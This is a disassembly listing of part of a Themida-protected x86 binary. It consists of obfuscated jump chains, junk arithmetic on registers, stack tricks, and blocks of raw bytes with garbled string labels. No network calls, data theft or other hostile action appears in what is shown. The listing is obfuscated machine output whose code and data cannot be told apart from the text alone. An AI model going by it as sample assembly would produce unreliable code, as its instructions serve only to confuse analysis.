0 ; --------------------------------------------------------------------------- loc_504AC5: ; CODE XREF: Themida_:00504038j add dword ptr [esp], 495046DEh pop ebx sub ebx, 495046DEh jmp loc_5063B4 ; --------------------------------------------------------------------------- loc_504AD8: ; CODE XREF: Themida_:0050ED54j xor ecx, 5534204h add ebp, ecx pop ecx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp div ecx push 7DEEh mov [esp], edx jmp loc_50CC67 ; --------------------------------------------------------------------------- dd 28C0EE80h, 48E95AF4h, 56FFFFF7h, 6218E9h db 0 ; --------------------------------------------------------------------------- loc_504B11: ; CODE XREF: Themida_:005040EEj mov [esp], edx jmp loc_50D499 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0F8h dd 11E1D3Bh, 54E95AD0h, 66FFFFF8h, 6824048Bh, 6D14h, 89240489h dd 770EE9E0h, 0E9590000h, 0FFFFE868h, 0D9C1815Bh, 5731A654h dd 0F20C5CBFh, 5FF92902h, 72E9CB01h, 540000A7h, 0E92434FFh dd 0FFFFF97Ah, 0E938F580h, 8926h, 48BC121h, 4C48324h, 2652BB53h dd 0D93150A0h, 0E9C8015Bh, 0FFFFE7E6h ; --------------------------------------------------------------------------- loc_504B80: ; CODE XREF: Themida_:0050DE52j mov [esp], ebp push 2000000h mov ebp, [esp] push eax jmp loc_50C34A ; --------------------------------------------------------------------------- loc_504B91: ; CODE XREF: Themida_:0050BFE7j cmp ecx, eax pushf jmp loc_502B6E ; --------------------------------------------------------------------------- loc_504B99: ; CODE XREF: Themida_:00505BEDj pop edx jmp loc_50994D ; --------------------------------------------------------------------------- db 0B7h dd 51CFFE0Bh, 5E08950h, 4, 22Dh, 5CD0E900h, 0B9510000h dd 598E6865h, 4741C181h, 0D1F72BEAh, 5055E981h, 0CE017A87h dd 4F3EE9h, 2CC38100h, 0E9989382h, 2ACCh ; --------------------------------------------------------------------------- loc_504BDC: ; CODE XREF: Themida_:0050A1F9j mov [esp], esp add dword ptr [esp], 4 pop eax push esi mov esi, 5308634Ah xor esi, 17581E64h or esi, 4D9F6D77h sub esi, 186F37E5h not esi add esi, 0A6C43FFh jmp loc_50E772 ; --------------------------------------------------------------------------- dd 6E9D2F7h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_504C13: ; CODE XREF: Themida_:0050874Bj sub eax, 66252F2Dh sub eax, 6E39314Ch add eax, edi push edx jmp loc_507E19 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 8B243C33h, 0F662424h, 9C2404A3h, 73BEE9h, 37BE5600h dd 813D4652h, 0B01609EEh, 4514E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504C4A: ; CODE XREF: Themida_:005096EDj or ch, 55h jmp loc_506DC9 ; --------------------------------------------------------------------------- dw 0F001h dd 0C99E9h, 0E9515200h, 4638h, 2C5BD828h, 4D8000Fh, 94AAE90Fh dd 0F2810000h, 5EB4B790h, 148BD789h, 4C48324h, 815FFD89h dd 0F94411F5h, 0E9EF3177h, 558Eh, 243C8B5Fh, 6F11E9h, 8BE68800h dd 0C4812404h, 4, 1C8B6659h, 3409E924h, 0A0680000h, 8900000Eh dd 24BA2414h, 0E9000000h, 5CA3h, 0E932FF64h, 0FFFFDEAAh dd 815DEE29h, 555B9CE6h, 1963E95Eh, 8B660000h, 0EC832404h dd 240C8904h, 0DB68E189h, 0E9000044h, 3F54h, 2414F755h dd 81D5F75Dh, 73E5A7C5h, 8BE82921h, 5453242Ch, 32DCE9h dd 0DFEF8100h, 0FD1B355Bh, 66C368h, 24348900h, 0E9E18951h dd 15F2h, 0C62C7604h, 2058C730h, 7C0FE9F9h, 0E9050000h dd 0E9496340h, 9F08h ; --------------------------------------------------------------------------- loc_504D30: ; CODE XREF: Themida_:0050C265j sub eax, ecx pop ecx push 17FBh mov [esp], ebp jmp loc_50DC38 ; --------------------------------------------------------------------------- dd 415E30BFh, 0BD554769h, 1D26085Ah, 4508EDC1h, 0CD81DDF7h dd 52163508h, 5DED8145h, 1B567A1h, 0EF815DEFh, 8C2F750Fh dd 420EED81h, 0FD293EF8h, 4BB4E9h db 0 ; --------------------------------------------------------------------------- loc_504D75: ; CODE XREF: Themida_:0050ACD1j mov edi, 5B683312h sub edi, 18DB1006h shl edi, 8 shr edi, 6 sub edi, 7B3477F8h or edi, 128A4E08h xor edi, 978A5E3Ch add eax, edi pop edi add eax, 4 xchg eax, [esp] pop esp shr eax, 18h xor eax, ecx push eax push edi pop eax pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi jmp loc_50A271 ; --------------------------------------------------------------------------- db 53h dd 0DD89FB89h, 243C8B5Bh, 0F704C483h, 8AB5E9DDh, 48F0000h dd 72F4E924h, 24890000h, 18EEE924h, 0BD550000h, 7A1171C6h dd 15DEA31h, 0E9815AD1h, 4, 2474FF51h, 48F5904h, 24248B24h dd 0BA241489h, 4, 0E0E9D501h, 5E00009Fh, 8702C583h, 248B242Ch dd 24040024h, 0DD48E99Ch, 0E3C1FFFFh, 8E3C107h, 0F3814343h dd 26189D4Bh, 5F5BD829h, 3B4068h, 24048900h, 42474FFh dd 39EBE9h db 0 ; --------------------------------------------------------------------------- loc_504E49: ; CODE XREF: Themida_:0050E3A5j add edi, 4 xchg edi, [esp] pop esp push 2C40h mov [esp], ecx jmp loc_50E34F ; --------------------------------------------------------------------------- db 58h, 1, 0DDh dword_504E60 dd 684FC581h, 1C8B05D0h, 4C48124h, 50000000h, 70FBE9h dd 4BF00h, 0FA010000h, 10BD555Fh, 812E8726h, 4ECh, 2A96E900h dd 1C8B0000h, 0DD3BE924h, 0F181FFFFh, 4CF45ED9h, 0FFFA1BE9h dd 0E3C143FFh, 0CFF5303h, 0E99EE924h, 0A435FFFFh, 0E9113C21h dd 0FFFFE01Eh, 0BD242C89h, 486D1174h, 15DE801h, 150768D8h dd 14890000h, 0C8685024h, 580DE619h, 7862E9h, 76EBE00h dd 0F1313CC2h, 81D1F75Eh, 1C1h, 24F18100h, 834820D2h, 3C8904ECh dd 4F24BF24h, 0F7812F2Eh, 3ACA3200h, 0DEE9554Fh, 100000Dh dd 492C2DE8h, 0B4E95830h, 81000013h, 6647F7h, 0E9F8291Ch dd 30ACh, 815AD701h, 0D33A47EBh, 81FB0175h, 0D33A47C3h dd 2BA4E975h, 0BF570000h, 127E433Dh, 10D9EF81h, 0B7E951D6h dd 8B000083h, 34332424h, 24343124h, 8B243433h, 90E92424h dd 83000002h, 2C8904ECh, 0AE8E924h, 4BB0000h, 1000000h dd 241C8BDDh, 5204C483h, 4BAh, 774EE900h, 0EC810000h, 4 dd 89240C89h, 4C181E1h, 0E9000000h, 70D8h, 0E904C383h dd 310h, 83241C8Bh, 0C80004C4h, 7EA26859h, 4890000h, 4EC8324h dd 0E9240C89h, 14C6h, 62F3814Bh, 297F4A0Eh, 65055BD8h dd 121435Bh, 0F223E9D0h, 0CF81FFFFh, 29781E21h, 0CD7EEF81h dd 0F9011765h, 59CD015Fh, 9A50E9h, 14875800h, 0E1F75C24h dd 8904EC83h, 4368241Ch, 8900007Eh, 0BF572424h, 4, 4247C01h dd 7CFE9h db 0 ; --------------------------------------------------------------------------- loc_505009: ; CODE XREF: Themida_:0050D6DFj pop eax pop esi shr ebx, 4 sub esp, 4 mov [esp], ecx mov ecx, 6C390A2Dh and ebx, ecx pop ecx add ebx, 0D090895h push eax mov eax, 1BA337E2h not eax add eax, 480B8CF1h add ebx, eax pop eax xor eax, ebx mov ebx, [esp] add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_50928A ; --------------------------------------------------------------------------- dw 425Ah dd 0FFFA66E9h, 240487FFh, 487D0F7h, 67C7E924h, 875A0000h dd 0E95C241Ch, 0FFFFF3ABh, 24048F5Dh, 8924248Bh, 0DC882404h dd 58386788h, 5B2434FFh, 4C481h, 0E7E90000h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505087: ; CODE XREF: Themida_:00509417j shl bl, 5 push edi jmp loc_5037D4 ; --------------------------------------------------------------------------- loc_505090: ; CODE XREF: Themida_:0050D96Dj sub ebp, 0E17F1804h jmp loc_507E07 ; --------------------------------------------------------------------------- db 42h dd 0EE9D2F7h, 5BFFFFE6h, 4247429h, 3668E95Eh, 0D9BE0000h dd 0C117EB6Ch, 0EEC105EEh, 4CC68107h, 29FFFE81h, 42E95EF7h dd 5900009Ch, 5C241C87h, 4B30F66h, 97E99C24h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5050D7: ; CODE XREF: Themida_:005073C3j add esi, 2 xchg esi, [esp] jmp loc_50974C ; --------------------------------------------------------------------------- db 29h, 74h, 24h dd 246C8108h, 0E2630908h, 1C8B5E3Fh, 4C48324h, 81008Fh dd 3C87054Ah, 0FFDA69E9h, 4C483FFh, 0FEA9E580h, 0F5CD80C5h dd 755368h, 241C8900h, 0EB8013B3h, 8BDD306Ah, 23E9241Ch db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505127: ; CODE XREF: Themida_:0050D471j xor esi, 0B021A31h add esi, 0E7B680D3h add edi, esi pop esi push 33BBh mov [esp], eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp or eax, eax jnz loc_503EF3 sub esp, 4 jmp loc_50E805 ; --------------------------------------------------------------------------- dw 0E6C1h dd 2E6C107h, 0E096F681h, 0F2293FBDh, 1EF2815Eh, 81D5A5BDh dd 0EE7D03C1h, 5F2DE961h, 0F65C0000h, 0B60F66F1h, 0BF6866CCh dd 0C89667Eh, 0B60F6624h, 9C5166C8h, 0FFD9D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_505195: ; CODE XREF: Themida_:0050C8CCj add esi, 4 jmp loc_508D34 ; --------------------------------------------------------------------------- loc_5051A0: ; CODE XREF: Themida_:00507E60j push edi jmp loc_508FD5 ; --------------------------------------------------------------------------- dw 0D9F7h aBB31SX db 'Á¶B3*1ÏéÔx',0 dd 0C6815E00h, 4, 8704EE83h, 895C2434h, 4BD242Ch, 1000000h dd 5834E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5051D2: ; CODE XREF: Themida_:0050813Fj push ebx mov ebx, 430758EAh jmp loc_50AE22 ; --------------------------------------------------------------------------- loc_5051DD: ; CODE XREF: Themida_:0050C2A2j add ebp, 4 xchg ebp, [esp] jmp loc_506F49 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 5316h, 368CD835h, 50EDE986h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5051FE: ; CODE XREF: Themida_:00507094j add ecx, 4 jmp loc_50815C ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 2434335Ch, 33243431h, 248B2434h, 24048924h, 0E92414F7h dd 0FFFFE921h ; --------------------------------------------------------------------------- loc_505224: ; CODE XREF: Themida_:0050F1EDj add esp, 4 jmp loc_50D1E6 ; --------------------------------------------------------------------------- loc_50522C: ; CODE XREF: Themida_:005031C0j push ebp push 25A4h jmp loc_505D39 ; --------------------------------------------------------------------------- db 1 aBVsiz db 'ÎÆ>}(V鉇',0 align 4 dd 0BB241C89h, 37E43144h, 4EC81h, 3C890000h, 64ADBF24h dd 0EF8153A8h, 6E6C116Eh, 3E79E9h db 0 ; --------------------------------------------------------------------------- loc_505265: ; CODE XREF: Themida_:00505D3Cj mov esi, 73416AAFh push ecx jmp loc_509616 ; --------------------------------------------------------------------------- loc_505270: ; CODE XREF: Themida_:005056F7j push esp jmp loc_507443 ; --------------------------------------------------------------------------- dw 0F681h dd 18200482h, 564BE9h, 2434FF00h, 83240C8Bh, 2C8904ECh dd 51E58924h, 468h, 8033E900h, 81590000h, 4C1h, 4C18100h dd 0E9000000h, 3795h, 5C241C87h, 2474FF51h, 48F5904h, 21665C24h dd 0E99C2404h, 0FFFFD8AAh, 7D94CB81h, 0E3817C7Eh, 5B992EDCh dd 8104E3C1h, 8A727FCBh, 98C38160h, 51265C3Fh, 0F10712B9h dd 0BD5557BAh, 5CA01142h, 7174CD81h, 0EDC13E1Ch, 80BA5208h dd 81556C2Dh, 0D428B2E2h, 0F2814A11h, 1541192Eh, 90F28142h dd 0E95E4716h, 747h, 2DF00159h, 67C1493h, 8324348Bh, 3BE904C4h dd 8100006Bh, 4F35F4EBh, 8CE38160h, 8145352Eh, 614F7CF3h dd 5BDE0941h, 9242C681h, 0F0297CC5h, 242C8B5Eh, 4C481h dd 0C6010000h, 78F6E9h, 0BEB65200h, 0FE39E680h, 4E6C0CEh dd 0EEC0CEFEh, 991BE902h, 0D9010000h, 240C875Bh, 0FE24248Bh dd 0E99C240Ch, 0F89h, 60E9575Ah db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_505383: ; CODE XREF: Themida_:00505D66j neg esi push ebx mov ebx, 1735931Bh sub esi, ebx mov ebx, [esp] add esp, 4 add ecx, esi pop esi push ecx jmp loc_5098E3 ; --------------------------------------------------------------------------- dd 9A6700B9h, 38F18164h, 0D133DB7Eh, 412CE9E1h, 0E9010000h dd 240C875Dh, 401665Ch, 0AFE99C24h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5053BF: ; CODE XREF: Themida_:00503BAAj mov [esp], ebx mov ebx, 0 jmp loc_502CCB ; --------------------------------------------------------------------------- dd 592434FFh, 96D0E957h, 0BDBF0000h, 0BD4A436Ch, 4A436CB9h dd 2D5FFD31h, 1EAA4A3Ah, 7B79E9h, 40500h, 42D0000h, 87000000h dd 1EE92404h, 0BBFFFFF0h, 609C0711h, 535BD921h, 6F2115BBh dd 0E9D901C7h, 5E2Bh, 4EC81h, 25E90000h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50541F: ; CODE XREF: Themida_:005062EEj sub dword ptr [esp+8], 5E2039D4h pop ebp mov eax, [esp] add esp, 4 pop eax push ecx jmp loc_50D0AA ; --------------------------------------------------------------------------- dd 5C242C87h, 5E12BD55h, 0E5C10F13h db 4, 81h word_505446 dw 4ECh ; DATA XREF: ___:off_4274D8o dd 0E9000000h, 4747h ; --------------------------------------------------------------------------- loc_505450: ; CODE XREF: Themida_:00508D08j mov ebx, 4 jmp loc_505E70 ; --------------------------------------------------------------------------- dw 8B66h dd 8E68240Ch, 89000040h, 5E542434h, 4EC81h, 4890000h, 0D5FB824h dd 0D7054F2Dh, 0C1125464h, 0FAE906E8h, 0FF00006Dh, 48B2434h dd 4C48124h, 51000000h, 0C181E189h, 4, 0E904E983h, 3BF4h ; --------------------------------------------------------------------------- loc_5054A0: ; CODE XREF: Themida_:005057D3j mov [esp], ebx jmp loc_50F251 ; --------------------------------------------------------------------------- dd 83242C8Bh, 2C8904ECh, 538BE924h, 348B0000h, 4C48124h dd 55000000h, 0E3968h, 2C81E900h, 0EB810000h, 714444DCh dd 1BF1EB81h, 8AE9108Bh, 100004Eh, 0A2CE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5054E2: ; CODE XREF: Themida_:00505CA2j pop ebx jmp loc_5047BE ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0E904C183h, 613Dh, 582434FFh, 4B0168h dd 527CE900h, 34FF0000h, 7B68E924h, 68590000h, 11F2h, 87A3E9h dd 4C18100h, 53000000h, 5B0158BBh, 0A3EB8157h, 817EB267h dd 9D7872E3h, 0C4C38127h, 8156625Dh, 0CA6EF9E3h, 14C3811Ah dd 1ED359Bh, 543DE9D9h, 0BF2D0000h, 5F26FC55h, 0E62AD82Dh dd 2699E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50555A: ; CODE XREF: Themida_:0050700Aj push edi push 3C2E67DAh pop edi sub edi, 6EA3C83h or edi, 1AF9451Fh sub edi, 16280BDFh xor edi, 4E3C7381h jmp loc_5092D2 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFD8B2h, 0FEFBF681h, 0C3E9FF1Fh, 29FFFFF6h, 5E95AD7h dd 83000034h, 0BB5304C4h, 0D3E5FB3h, 3C07F381h, 296843F2h dd 8900000Eh, 3C87241Ch, 14F75724h, 1BE95F24h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5055BB: ; CODE XREF: Themida_:0050DCB7j mov ecx, esp jmp loc_509A2B ; --------------------------------------------------------------------------- aYbiGXwsS db 'Yë[GÄXWéØS',0 dw 8900h dd 0A8BA2414h, 0E91D1278h, 0FFFFEDD4h, 0C0DC381h, 0EFE9F836h dd 57000092h, 0C781E789h, 4, 8089E9h, 0EB815900h, 7B742A5Eh dd 4D07E956h, 0EB810000h, 0F2ED489Ch, 31E9D909h, 31FFFFF5h dd 0BA5259CFh, 2825ECFh, 0FFF329E9h, 4EC81FFh, 89000000h dd 0E389241Ch, 527DE9h, 8F685800h, 8900002Eh, 47E92404h dd 8F000057h, 248B2404h, 0C8AF0F24h, 23E99C51h, 57FFFFD5h dd 0F006F7BFh, 247C297Eh, 8E95F08h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50565B: ; CODE XREF: Themida_:0050B46Ej mov ebp, 0D477EBDh sub ecx, ebp push dword ptr [esp] pop ebp add esp, 4 add ecx, ebx add ecx, 0D477EBDh pop ebx mov eax, ecx mov ecx, [esp] add esp, 4 jmp loc_502CB5 ; --------------------------------------------------------------------------- dw 0E181h dd 553F5241h, 0F6C2F181h, 0CF317DFBh, 4CB5E959h, 8B660000h dd 0EC812404h, 4, 53242C89h, 79BAE9h db 0 ; --------------------------------------------------------------------------- loc_5056A9: ; CODE XREF: Themida_:005089C3j sub eax, ebp pop ebp sub edx, 54B4706Fh sub edx, eax push ecx mov ecx, 6A41085Ah dec ecx neg ecx shl ecx, 4 add ecx, 72E02CFh inc ecx add ecx, 0F196F32Fh add edx, ecx jmp loc_50BB3C ; --------------------------------------------------------------------------- aRZvOiZbu db 'RºzVµo‰ÓZãº',0 db 0CDh, 56h, 0E9h dd 921Ch, 2C89665Ch, 0BAE95124h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5056F3: ; CODE XREF: Themida_:0050E7C9j mov esp, [esp] push ecx jmp loc_505270 ; --------------------------------------------------------------------------- dd 4E0C140h, 0C106852h, 815A3FF0h, 0B6357FC2h, 57C28100h dd 817A9116h, 0BD5933E2h, 0E2D1422Eh, 23A0EA81h, 0D021473Dh dd 741AE9h db 0 ; --------------------------------------------------------------------------- loc_505729: ; CODE XREF: Themida_:0050A3A2j mov bh, 0FBh mov dh, bh pop ebx jmp loc_5067B8 ; --------------------------------------------------------------------------- loc_505733: ; CODE XREF: Themida_:00508DB0j or eax, 375A4382h push ebx jmp loc_508BAD ; --------------------------------------------------------------------------- dw 0B951h dd 2ADB634Dh, 4244C31h, 240C8B59h, 6804C483h, 6532h, 50243C89h dd 0F6106CB8h, 58C7890Ch, 0C1E95653h, 8100008Ah, 1A204Fh dd 478124FBh, 0FFFFFF20h, 2047FFFFh, 46B468h, 5EE6E900h dd 34890000h, 1001BE24h, 0C68144FBh, 0FFFFFFFFh, 7C51EE81h dd 4B686643h, 8900000Dh, 0BD242Ch, 0E9000000h, 76B6h, 0FFD3C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5057AD: ; CODE XREF: Themida_:0050D05Ej mov [esp], ebx mov ebx, 14345A15h jmp loc_507C31 ; --------------------------------------------------------------------------- a_Ys_i db '_)ÈYé_i',0 dw 2900h dd 39E95FFDh db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5057CB: ; CODE XREF: Themida_:00507F09j pop edx add bl, al push ecx push eax sub esp, 4 jmp loc_5054A0 ; --------------------------------------------------------------------------- a_Sr_ db '_[é.',0 db 0 ; --------------------------------------------------------------------------- loc_5057DF: ; CODE XREF: Themida_:00505965j push esi mov esi, 5C8C3500h sub esi, 6E60538Dh neg esi jmp loc_50D738 ; --------------------------------------------------------------------------- dw 0F781h dd 7BC15E39h, 14FCEF81h, 0EF81510Fh, 65DC2325h, 8105E7C1h dd 2D9F6FF7h, 5FFA0149h, 5105EAC1h, 2AF9E9h, 8C38100h dd 811D2E77h, 0AE7E73EBh, 81F3293Ch, 0AE7E73C3h, 0A57E93Ch dd 55580000h, 5D2414F7h, 0EA6EC581h, 0EC83D0B9h, 243C8904h dd 89E98951h, 0FA8959CFh, 2434FF5Fh, 4C4815Dh, 0E9000000h dd 3CB2h ; --------------------------------------------------------------------------- loc_50585C: ; CODE XREF: Themida_:00507E14j push 7B2637A8h jmp loc_504236 ; --------------------------------------------------------------------------- dw 0C281h dd 633A6088h, 242C8152h, 734D5137h, 37C7815Fh, 5A734D51h dd 2968DFF7h, 8900005Bh, 95BB241Ch, 955D74Ch, 0BA525BDFh dd 506A615Ah, 0E0E9D721h, 5B00004Eh, 997EE95Bh, 4BD0000h dd 1000000h, 0BD555DEEh, 4, 0FDEE81h, 91E9455Eh, 4D000051h dd 30EFC581h, 0E8E92349h, 5F000051h, 8B240487h, 4052424h dd 51000000h, 7E0668h, 4675E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5058DE: ; CODE XREF: Themida_:0050CB27j push ebp not dword ptr [esp] pop ebp neg ebp neg ebp add ebp, 70991478h jmp loc_50A85F ; --------------------------------------------------------------------------- aQR db '^Q¹à',0 db 4Eh dd 0D6E5E951h, 0BA52FFFFh, 37F56FC3h, 1808E9h, 0C8B6600h dd 75EE6824h, 0C890000h, 0E7895724h, 4C781h, 15E90000h dd 66000023h, 81240C8Bh, 4ECh, 242C8900h, 14F5E9h, 4895C00h dd 2D62B824h, 0E8C16F05h, 4A5D3503h, 0B9511F58h, 1, 0C159C829h dd 5D2D06E8h, 89C72E68h, 6322E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50595E: ; CODE XREF: Themida_:00503EC2j mov edi, 55607AE3h not edi jmp loc_5057DF ; --------------------------------------------------------------------------- loc_50596A: ; CODE XREF: Themida_:0050D367j xchg edx, [esp] jmp loc_50AE1C ; --------------------------------------------------------------------------- loc_505972: ; CODE XREF: Themida_:0050AA14j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push 13E0h mov [esp], ebx push edx push 72F63A51h pop edx and edx, 72007473h not edx jmp loc_509048 ; --------------------------------------------------------------------------- db 0B0h dd 66C700DEh, 5BFD0058h, 34FFE800h, 1E67E924h, 3D680000h dd 89000074h, 0AFE92434h, 8B000068h, 8B662424h, 6850240Ch dd 7F9Ah, 81242489h, 42404h, 5580000h, 4, 0DCBB5357h, 0BF209068h dd 353AA652h, 8932E9h, 0FFE95300h, 8100008Ah, 4C4h, 0E9C100h dd 840FC00Bh, 0FFFFD260h, 301768h, 24148900h, 5086E9h dd 24048700h, 4334E9h, 5AF78800h, 8004EFC0h, 0F5E907EFh dd 81000087h, 4C4h, 24148B00h, 4C481h, 37E90000h, 5BFFFFD1h dd 0FFE182E9h db 0FFh ; --------------------------------------------------------------------------- loc_505A3D: ; CODE XREF: Themida_:0050A825j pop esi sub edi, 2 jmp loc_50EE60 ; --------------------------------------------------------------------------- dw 8858h dd 423EE9F7h, 0DEBD0000h, 31507B4Dh, 55E95DE8h, 2900001Ch dd 0E5C15AD5h, 0B7C58108h, 0E9282DAFh, 260Ah, 187F52BBh dd 7DC3814Ah, 2914D8D0h, 835B5BDEh, 2EE904EEh, 81000003h dd 4C6h, 2222E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505A8E: ; CODE XREF: Themida_:00505CE0j mov ecx, 59A009EBh jmp loc_507CE8 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 8495E900h, 2B90000h, 0E9000000h, 7145h dd 0E9CC8850h, 0FFFFF1DDh ; --------------------------------------------------------------------------- loc_505AB8: ; CODE XREF: Themida_:00507103j add ebx, 5A705A15h jmp loc_50DD97 ; --------------------------------------------------------------------------- db 81h dd 551D57F6h, 3EE9503Dh, 8900002Fh, 4C781E7h, 83000000h dd 3C8704C7h, 2629E924h, 55F0000h, 4B8F6418h, 0F4705C05h dd 3A26E94Bh, 77E90000h, 0FFFFFFD0h, 669D1C77h, 24041858h dd 0D068E99Ch, 0EF81FFFFh, 34481A5Ch, 0C781EF29h, 34481A5Ch dd 243C335Dh, 33243C31h, 895C243Ch, 0B951242Ch, 0FEh, 89CA8952h dd 21595AD5h, 69E91C6Fh db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505B37: ; CODE XREF: Themida_:0050614Ej mov eax, 4 add [esp+4], eax mov eax, [esp] jmp loc_50D483 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F59h, 0F24248Bh, 6856C8BFh, 1E0Eh, 83242489h dd 8B042404h, 0C4832434h, 0A556804h, 1C890000h, 0D7D1E924h dd 0EAC1FFFFh, 17C28102h, 292A0844h, 0C9815AD1h, 7C42939h dd 0E907E9C1h, 0FFFFD35Dh ; --------------------------------------------------------------------------- loc_505B90: ; CODE XREF: Themida_:0050AD72j pop esi add esp, 4 push 169Ch mov [esp], esi mov esi, 71091230h jmp loc_504A91 ; --------------------------------------------------------------------------- loc_505BA9: ; CODE XREF: Themida_:005087B8j mov esi, 57464932h xor edx, esi pop esi or edx, 351842A4h sub edx, 75196AF0h add eax, edx jmp loc_507BD3 ; --------------------------------------------------------------------------- loc_505BC4: ; CODE XREF: Themida_:0050F2C4j xor ecx, edi mov edi, [esp] add esp, 4 neg ecx push ebx mov ebx, 1 add ecx, ebx jmp loc_50843A ; --------------------------------------------------------------------------- a1SiuqsC db '1,$S‰ãQ霖',0 db 0 ; --------------------------------------------------------------------------- loc_505BE7: ; CODE XREF: Themida_:0050816Bj pop ebp push 358468E2h jmp loc_504B99 ; --------------------------------------------------------------------------- loc_505BF2: ; CODE XREF: Themida_:0050EE63j pop esp jmp loc_50A7D1 ; --------------------------------------------------------------------------- loc_505BF8: ; CODE XREF: Themida_:00505FEAj push esi push ebp mov ebp, 144366C8h mov esi, 144366CCh xor esi, ebp pop ebp mov ebx, esi push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_503DBA ; --------------------------------------------------------------------------- loc_505C1D: ; CODE XREF: Themida_:0050D5F8j push eax mov eax, 4 push eax pop edx pop eax push ebp mov ebp, 50C17906h and ebp, 4589665Ch shr ebp, 6 inc ebp shr ebp, 7 add ebp, 56124E55h sub ebp, 3EC2E665h sub ecx, ebp pop ebp add ecx, edx add ecx, 17516BFBh push dword ptr [esp] pop edx add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_504941 ; --------------------------------------------------------------------------- dd 5758C521h, 6D1D32BFh, 5FFD0130h, 7F3ED81h, 0BE563BC0h dd 34F273AEh, 9E9F531h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505C87: ; CODE XREF: Themida_:0050B36Fj mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor ebx, 0AD4C0FFBh and eax, ebx jmp loc_5054E2 ; --------------------------------------------------------------------------- db 0B6h dd 5AF5206Ah, 8005E5C0h, 0EB280EF5h, 509FE9h, 0CA895D00h dd 246C8159h, 3E429504h, 24542904h, 95BA5204h, 0E9043E42h dd 1182h, 298EBB53h, 0FDE91A44h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505CDF: ; CODE XREF: Themida_:00504324j push ecx jmp loc_505A8E ; --------------------------------------------------------------------------- db 0BDh, 3Dh, 0Fh dd 0D5F760C8h, 8DE9D5F7h, 33000034h, 248B242Ch, 0BAB55124h dd 690AE9h db 0 ; --------------------------------------------------------------------------- loc_505D01: ; CODE XREF: Themida_:0050D790j pop eax sub edx, 56A96BE2h add edx, 2AC62DE4h jmp loc_50B237 ; --------------------------------------------------------------------------- loc_505D13: ; CODE XREF: Themida_:0050AB30j pop edi push eax mov eax, 0D6B0756h jmp loc_508DAE ; --------------------------------------------------------------------------- loc_505D1F: ; CODE XREF: Themida_:005063AFj pop esp sub esp, 4 jmp loc_50E45C ; --------------------------------------------------------------------------- dd 8158C629h, 83CC11C6h, 5EF389AAh, 0FFE862E9h db 0FFh ; --------------------------------------------------------------------------- loc_505D39: ; CODE XREF: Themida_:00505232j mov [esp], esi jmp loc_505265 ; --------------------------------------------------------------------------- loc_505D41: ; CODE XREF: Themida_:0050B929j sub eax, edx pop edx add eax, ebp jmp loc_50B96F ; --------------------------------------------------------------------------- db 81h dd 0D1A4E3E9h, 0EBA2E927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505D56: ; CODE XREF: Themida_:0050E3D1j pop edi push edx mov edx, 5BC9460Fh or esi, edx pop edx sub esi, 37157AC6h jmp loc_505383 ; --------------------------------------------------------------------------- db 0BEh dd 75293BD2h, 0E95EF529h, 435Ah ; --------------------------------------------------------------------------- loc_505D78: ; CODE XREF: Themida_:00507720j xor edi, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp jmp loc_506E0B ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0C1810000h, 612B4E54h, 5365BF57h, 0F78166F3h, 57230BFDh dd 46A8E9h, 0CE95600h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_505DB7: ; CODE XREF: Themida_:00508FABj neg ebx xor ebx, 6C902EF5h mov ecx, ebx pop ebx add ecx, ebp pop ebp push ebp mov ebp, 69C76557h sub ebp, 1EFD11C3h inc ebp push ecx mov ecx, 4D51C6Ch push esi mov esi, 8482997h sub ecx, esi pop esi add ebp, ecx pop ecx jmp loc_50ED51 ; --------------------------------------------------------------------------- db 5, 2Eh, 21h dd 875E641Fh, 248B2404h, 24040824h, 0CD70E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505DFE: ; CODE XREF: Themida_:0050A0E2j xchg edi, [esp] pop esp jmp loc_507B9F ; 